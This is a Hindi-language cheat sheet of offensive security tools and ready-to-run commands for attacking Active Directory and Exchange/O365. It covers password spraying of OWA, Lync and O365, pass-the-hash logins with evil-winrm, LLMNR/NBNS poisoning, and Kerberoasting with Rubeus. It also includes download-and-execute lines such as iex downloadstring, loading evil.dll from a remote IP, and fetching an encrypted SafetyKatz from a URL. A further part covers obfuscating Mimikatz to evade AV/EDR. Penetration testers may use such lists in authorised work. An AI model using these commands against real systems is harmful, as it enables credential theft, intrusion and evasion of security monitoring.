
Active Directory हमलों, C2, विशेषाधिकार वृद्धि, ओबफ़स्केशन और वेब पेंटेस्टिंग के लिए आक्रामक सुरक्षा उपकरणों और कमांड्स का चुनिंदा संग्रह।
https://github.com/S3cur3Th1sSh1t/WinPwn
Import-Module .\WinPwn.ps1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Seatbelt, KeeThief, Rubeus, SharpUp ...
https://github.com/PowerShellMafia/PowerSploit
PowerView, PowerUp, Get-GPPPassword ...
https://github.com/BloodHoundAD/BloodHound
SharpHound.exe -d testdomain.com -c all,gpolocalgroup
Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup
https://github.com/fox-it/BloodHound.py
bloodhound.py -c all
https://github.com/adrecon/ADRecon
डोमेन सदस्य होस्ट पर ADRecon चलाने के लिए।
PS C:\> .\ADRecon.ps1
किसी भिन्न उपयोगकर्ता के रूप में डोमेन सदस्य होस्ट पर ADRecon चलाने के लिए।
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
LDAP का उपयोग करके गैर-सदस्य होस्ट पर ADRecon चलाने के लिए।
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>
https://github.com/byt3bl33d3r/SprayingToolkit
Lync/Skype और OWA स्प्रेयर, वर्डलिस्ट-जनरेटर, नामकरण योजना कनवर्टर आदि।
OWA स्प्रे करना
./atomizer.py owa contoso.com 'Fall2018' emails.txt
Lync स्प्रे करना
./atomizer lync contoso.com --user-as-pass usernames.txt
रीकॉन मोड
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
https://github.com/dafthack/MailSniper
OWA और EWS पर हमला
नामकरण योजना testdomain.com\schmidta या aschmidt जैसी होनी चाहिए -> msf मॉड्यूल से योजना की जाँच करें
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt
Get-ADUsernameFromEWS -EmailList email-list.txt
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
https://github.com/0xZDH/msspray
O365 Enum और स्प्रे टूल
बिना स्प्रे किए केवल उपयोगकर्ताओं की एनम करें। पूर्ण ईमेल पतों वाली टेक्स्टफ़ाइल आवश्यक है [email protected]
python3 msspray.py -e -u textfile.txt --wait 10 --verbose
https://github.com/dafthack/MSOLSpray
O365 स्प्रेयर
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
https://github.com/quickbreach/ExchangeRelayX
HTTP पर NTLM प्रमाणीकरण के माध्यम से EWS पर हमला।
./exchangeRelayx.py -t https://mail.quickbreach.com
https://github.com/tevora-threat/SharpView
PowerView का .NET पोर्ट
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password
https://github.com/m8r0wn/CrossLinked
ईमेल पते / उपयोगकर्ता एकत्र करें
python3 crosslinked.py -f '{first}.{last}@domain.com' company_name
https://github.com/SecureAuthCorp/impacket
https://github.com/byt3bl33d3r/CrackMapExec
आधिकारिक दस्तावेज़: https://mpgn.gitbook.io/crackmapexec/
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/mrnamp/EvilWinRM
लिनक्स मशीन से Microsoft´s WS-Management कार्यान्वयन अर्थात Powershell-Remoting के साथ इंटरैक्ट करने का एक टूल।
पासवर्ड के बजाय हैश के साथ कनेक्ट करने के लिए भी इस्तेमाल किया जा सकता है।
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099
इसके बाद C#, DLLs या Donut शेलकोड को सीधे मेमोरी में निष्पादित करने में भी सक्षम। निष्पादन योग्य फ़ाइलें -e तर्क पर निर्धारित पथ में होनी चाहिए।
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Dll-loader -http -path http://10.11.12.13/evil.dll
Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin
AMSI को बायपास भी कर सकता है, Kerberos टिकट प्राप्त कर सकता है, इत्यादि ...
https://github.com/rasta-mouse/SharpRDP
RDP के माध्यम से चीज़ें निष्पादित करें। यदि मल्टी-RDP सक्षम नहीं है तो उपयोगकर्ता को एक सूचना मिलेगी!
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
https://github.com/Kevin-Robertson/Inveigh
PowerShell ADIDNS/LLMNR/mDNS/NBNS/DNS स्पूफर और मैन-इन-द-मिडिल टूल
Import-Module Inveigh.psm1
Invoke-Inveigh -Consoleoutput Y
https://github.com/lgandx/Responder
LLMNR/NBT-NS/mDNS पॉइज़नर
./Responder.py -I eth0
https://github.com/cobbr/Covenant
https://github.com/BC-SECURITY/Empire
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Linux और Windows के लिए एक्सप्लॉइट
https://github.com/p3nt4/PowerShdll
बिना Powershell के Powershell
rundll32 PowerShdll,main -w
https://github.com/NetSPI/PowerUpSQL
https://github.com/hfiref0x/UACME
https://github.com/rasta-mouse/Watson
https://github.com/itm4n/PrivescCheck
C / C++ बाइनरीज़ को ऑब्स्क्यूर करें
नया मॉड्यूल -> ShellCode फ्लक्चुएशन:
PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'
देखें https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg
https://github.com/S4ntiagoP/donut/tree/syscalls
syscalls के साथ Donut शेलकोड / PE जनरेटर का फोर्क
https://github.com/EgeBalci/amber
C / C++ बाइनरीज़ को ऑब्स्क्यूर करें
https://github.com/danielbohannon/Invoke-Obfuscation
PowerShell स्क्रिप्ट्स के लिए ऑब्स्क्यूरेटर।
https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt
https://github.com/slaeryan/AQUARMOURY
AV/EDR और ऐसी चीज़ों को बायपास करने के लिए टूल्स का संग्रह
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
PowerShell स्क्रिप्ट्स के लिए ऑब्स्क्यूरेटर और एन्क्रिप्टर।
https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7
PowerShell ISE के लिए टूल्स संग्रह। ऑब्स्क्यूरेशन की संभावनाएँ।
https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
PS1 को EXE फ़ाइल में बदलें।
https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader
C# बाइनरीज़ के लिए एक रैपर जो पेलोड को एन्क्रिप्ट करता है और उसे मेमोरी में डिक्रिप्ट करता है।
बाइनरी एन्क्रिप्ट करें:
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc
URL से एन्क्रिप्टेड बाइनरी लोड करें:
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs
कमांडलाइन तर्कों के साथ डिस्क से एन्क्रिप्टेड बाइनरी लोड करें:
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
https://github.com/klezVirus/inceptor
C# और Powershell के लिए ऑब्स्क्यूरेटर
https://github.com/tokyoneon/Chimera
PowerShell स्क्रिप्ट ऑब्स्क्यूरेटर
https://github.com/xforcered/InvisibilityCloak
C# असेंबली ऑब्स्क्यूरेटर
https://github.com/yck1509/ConfuserEx
C# असेंबली ऑब्स्क्यूरेटर
https://github.com/9emin1/charlotte
D-Invoke के माध्यम से शेलकोड लोडर
https://github.com/lleon1435/avcleaner
C/C++ सोर्स ऑब्स्क्यूरेटर
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray